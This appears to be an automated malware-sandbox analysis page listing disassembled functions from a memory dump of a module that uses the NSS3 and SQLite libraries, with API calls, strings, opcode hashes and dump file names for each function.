Opcode ID: 1c5741c64dd9bd57f66a8862318843ab1a67198f8a85416e8c328aaebcc11aab
Instruction ID: abd5c2e0e5b4f581fb95608a67f2df791cab8228b074cc9992fbf217d0dc46d2
Opcode Fuzzy Hash: 1c5741c64dd9bd57f66a8862318843ab1a67198f8a85416e8c328aaebcc11aab
Instruction Fuzzy Hash: 3691E6B5A001059FEB00CF68C980BAAB7B1FF45308FB44125DC199BB91E731E966CB99

Function 6C615FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C6FBB62,00000004,6C764CA4,?,?,00000000,?,?,6C5D31DB), ref: 6C6160AB
sqlite3_config.NSS3(00000004,6C764CA4,6C6FBB62,00000004,6C764CA4,?,?,00000000,?,?,6C5D31DB), ref: 6C6160EB
sqlite3_config.NSS3(00000012,6C764CC4,?,?,6C6FBB62,00000004,6C764CA4,?,?,00000000,?,?,6C5D31DB), ref: 6C616122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C616095
%s at line %d of [%.10s], xrefs: 6C6160A4
misuse, xrefs: 6C61609F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 78b743ec72acef9f1ed4a0a5404ce4f7131a7b253d7878f6ba80e6cc03f6e331
Instruction ID: 60d0f4553ab8daf105ff9c9735f1779fcc653447141508e15c9d43fe3b5a871b
Opcode Fuzzy Hash: 78b743ec72acef9f1ed4a0a5404ce4f7131a7b253d7878f6ba80e6cc03f6e331
Instruction Fuzzy Hash: 09B16274E0864ACFCB04CF6CC2409A9B7F0FF1E305B158169D549AB762E731EA85CB99

Function 6C5C4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5C4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C51BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C51A5
unable to delete/modify user-function due to active statements, xrefs: 6C5C51DF
%s at line %d of [%.10s], xrefs: 6C5C51B4
misuse, xrefs: 6C5C51AF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: ea4bcf741ad1178a37a0f3d1a0a8bf06de7d83f7eeb20f54f5d1d2bbc5b1302b
Instruction ID: c46146aa2261e4886891b3c973933ebd91d0c6ad5373b7e69876e822d3394e4f
Opcode Fuzzy Hash: ea4bcf741ad1178a37a0f3d1a0a8bf06de7d83f7eeb20f54f5d1d2bbc5b1302b
Instruction Fuzzy Hash: F971AEB57042099BEB00CED5CD84B9A77B5BF48308F844528FD19DBB81D735E950DBA2

Function 6C6AFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C6AF165,?), ref: 6C6AFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C6AF165,?), ref: 6C6AFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6AF165,?), ref: 6C6AFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C6AF165,?), ref: 6C6AFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C6AF165,?), ref: 6C6AFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C6AF165,6C77219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6AFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C6AF165,?), ref: 6C6B00A6

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: fecc040a7d7ffd33c973d4e27fd5ca41c76ca6e846da60b0910ef3d1eb78e0de
Instruction ID: 1cee61756665cfd1efe96d69c52aa5bcec5d6d7046f81aa85f87727561e77050
Opcode Fuzzy Hash: fecc040a7d7ffd33c973d4e27fd5ca41c76ca6e846da60b0910ef3d1eb78e0de
Instruction Fuzzy Hash: 4B5124B1E002569FDB108E98C9C07AEBBB5BF49318F240228DD15B7B00D732AC21CBD9

Function 6C66DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C66DF37
EnterCriticalSection.KERNEL32(?), ref: 6C66DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C66E02B
PR_Unlock.NSS3(?), ref: 6C66E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C66E090
PR_Unlock.NSS3(?), ref: 6C66E0AF

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: ba6093f6702cd859b6b8844415bf5c4ee87a8c5d663ae3cce32185d7b22a2e79
Instruction ID: 35ccf2642668ff72bde9c30880ff2ec70ae333b1f6f10c6875461d04bf580ab8
Opcode Fuzzy Hash: ba6093f6702cd859b6b8844415bf5c4ee87a8c5d663ae3cce32185d7b22a2e79
Instruction Fuzzy Hash: 83519F31A00600DFEB209E6ADC44B9773B5BF45318F204529E89A87F91D731E858CBDB

Function 6C66BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C66BD1E

Part of subcall function 6C642F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C642F0A
Part of subcall function 6C642F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C642F1D

Part of subcall function 6C6857D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C64B41E,00000000,00000000,?,00000000,?,6C64B41E,00000000,00000000,00000001,?), ref: 6C6857E0
Part of subcall function 6C6857D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C685843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C66BD8C

Part of subcall function 6C69FAB0: free.MOZGLUE(?,-00000001,?,?,6C63F673,00000000,00000000), ref: 6C69FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C66BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C66BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C66BE3A

Part of subcall function 6C643E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C643EC2
Part of subcall function 6C643E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C643ED6
Part of subcall function 6C643E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C643EEE
Part of subcall function 6C643E60: PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C643F02
Part of subcall function 6C643E60: PL_FreeArenaPool.NSS3 ref: 6C643F14
Part of subcall function 6C643E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C643F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C66BE52

Part of subcall function 6C642E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C642CDA,?,00000000), ref: 6C642E1E
Part of subcall function 6C642E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C642E33
Part of subcall function 6C642E00: TlsGetValue.KERNEL32 ref: 6C642E4E
Part of subcall function 6C642E00: EnterCriticalSection.KERNEL32(?), ref: 6C642E5E
Part of subcall function 6C642E00: PL_HashTableLookup.NSS3(?), ref: 6C642E71
Part of subcall function 6C642E00: PL_HashTableRemove.NSS3(?), ref: 6C642E84
Part of subcall function 6C642E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C642E96
Part of subcall function 6C642E00: PR_Unlock.NSS3 ref: 6C642EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C66BE61

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 189ffa3db12af82071d67470cd52e18784351b6d17cdddeb0d363cb2825fe914
Instruction ID: f8ed3c859a91c225cbdffb2019e8b1023628df782775441e142915604a8793a3
Opcode Fuzzy Hash: 189ffa3db12af82071d67470cd52e18784351b6d17cdddeb0d363cb2825fe914
Instruction Fuzzy Hash: F641E4B5A00210EFC710DF29DC80A6A77E4EF8A718F118568F9199BB51E731ED05CB9B

Function 6C68AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C68AB3E,?,?,?), ref: 6C68AC35

Part of subcall function 6C66CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C66CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C68AB3E,?,?,?), ref: 6C68AC55

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C68AB3E,?,?), ref: 6C68AC70

Part of subcall function 6C66E300: TlsGetValue.KERNEL32 ref: 6C66E33C
Part of subcall function 6C66E300: EnterCriticalSection.KERNEL32(?), ref: 6C66E350
Part of subcall function 6C66E300: PR_Unlock.NSS3(?), ref: 6C66E5BC
Part of subcall function 6C66E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C66E5CA
Part of subcall function 6C66E300: TlsGetValue.KERNEL32 ref: 6C66E5F2
Part of subcall function 6C66E300: EnterCriticalSection.KERNEL32(?), ref: 6C66E606
Part of subcall function 6C66E300: PORT_Alloc_Util.NSS3(?), ref: 6C66E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C68AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C68AB3E), ref: 6C68ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C68AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C68AD2B

Part of subcall function 6C66F360: TlsGetValue.KERNEL32(00000000,?,6C68A904,?), ref: 6C66F38B
Part of subcall function 6C66F360: EnterCriticalSection.KERNEL32(?,?,?,6C68A904,?), ref: 6C66F3A0
Part of subcall function 6C66F360: PR_Unlock.NSS3(?,?,?,?,6C68A904,?), ref: 6C66F3D3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 1d894bb7578d1b5ba0c79bfdc17886169f8bd37402d0ddd5e64ed2109b92a7b4
Instruction ID: 479552ac4f2610dae3a2526d335ed33122d6dee5ba9b9f4cd7a5667ff7e5e37b
Opcode Fuzzy Hash: 1d894bb7578d1b5ba0c79bfdc17886169f8bd37402d0ddd5e64ed2109b92a7b4
Instruction Fuzzy Hash: CE3127B1E016055FEB008F69CC409AF77B6AF85328B188128EC159BB81EB31DD15C7B9

Function 6C668C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C668C7C

Part of subcall function 6C709DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C750A27), ref: 6C709DC6
Part of subcall function 6C709DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C750A27), ref: 6C709DD1
Part of subcall function 6C709DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C709DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C668CB0
TlsGetValue.KERNEL32 ref: 6C668CD1
EnterCriticalSection.KERNEL32(?), ref: 6C668CE5
PR_Unlock.NSS3(?), ref: 6C668D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C668D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C668D93

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 8098f7b14007c5ff7a4cb0e10fac86091ec169abf76c8c3b715c50c32bbda97c
Instruction ID: b26df07342d19b810087c6bbedf6385a62e4eb65e778ab56917209330fff0c5e
Opcode Fuzzy Hash: 8098f7b14007c5ff7a4cb0e10fac86091ec169abf76c8c3b715c50c32bbda97c
Instruction Fuzzy Hash: F8312571A01205AFEB009F7ADC447DA77B0BF5A318F140136EA1967FA0D770A924C7DA

Function 6C6A9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6A9C5B), ref: 6C6A9D82

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6A9C5B), ref: 6C6A9DA9

Part of subcall function 6C6A1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?,00000000), ref: 6C6A136A
Part of subcall function 6C6A1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?,00000000), ref: 6C6A137E
Part of subcall function 6C6A1340: PL_ArenaGrow.NSS3(?,6C63F599,?,00000000,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?), ref: 6C6A13CF
Part of subcall function 6C6A1340: PR_Unlock.NSS3(?,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?,00000000), ref: 6C6A145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6A9C5B), ref: 6C6A9DCE

Part of subcall function 6C6A1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000,?,6C63F599,?,00000000), ref: 6C6A13F0
Part of subcall function 6C6A1340: PL_ArenaGrow.NSS3(?,6C63F599,?,?,?,00000000,00000000,?,6C64895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C6A1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6A9C5B), ref: 6C6A9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C6A9C5B), ref: 6C6A9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6A9C5B), ref: 6C6A9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C6A9C5B), ref: 6C6A9E91

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

Part of subcall function 6C6A1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C69FAAB,00000000), ref: 6C6A157E
Part of subcall function 6C6A1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C69FAAB,00000000), ref: 6C6A1592
Part of subcall function 6C6A1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C6A1600
Part of subcall function 6C6A1560: PL_ArenaRelease.NSS3(?,?), ref: 6C6A1620
Part of subcall function 6C6A1560: PR_Unlock.NSS3(?), ref: 6C6A1639

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: e33632ba53bddd1a9c324ba4a4d2ef701814b8e47b6f6a337e312f5c19c0bc40
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 9B417CB4601606AFE7409F55D840B92BBA1FF4534CF248128D9188BFA1EB73E836CF94

Function 6C66DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C66DDEC

Part of subcall function 6C6A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C66DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C66DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C66DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C66DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C66DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66DECC

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 26078db6b075299ac974fe397be7b454b1313ce60c79d9b0c2fcaab2d9972066
Instruction ID: a5ddca34aa40384396927a1f65b10d5b3b2a4b5ced1f65aa53a59e6eae6569d5
Opcode Fuzzy Hash: 26078db6b075299ac974fe397be7b454b1313ce60c79d9b0c2fcaab2d9972066
Instruction Fuzzy Hash: 0D31F8B2E002146BDB00AF6AAD40BBB76B8DF95708F150135ED09A7B41FB31D915C6EB

Function 6C647E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C647E48

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C647E5B

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C647E7B

Part of subcall function 6C69FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C698D2D,?,00000000,?), ref: 6C69FB85
Part of subcall function 6C69FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C69FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C76925C,?), ref: 6C647E92

Part of subcall function 6C69B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7718D0,?), ref: 6C69B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C647EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C647ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C647EFA

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
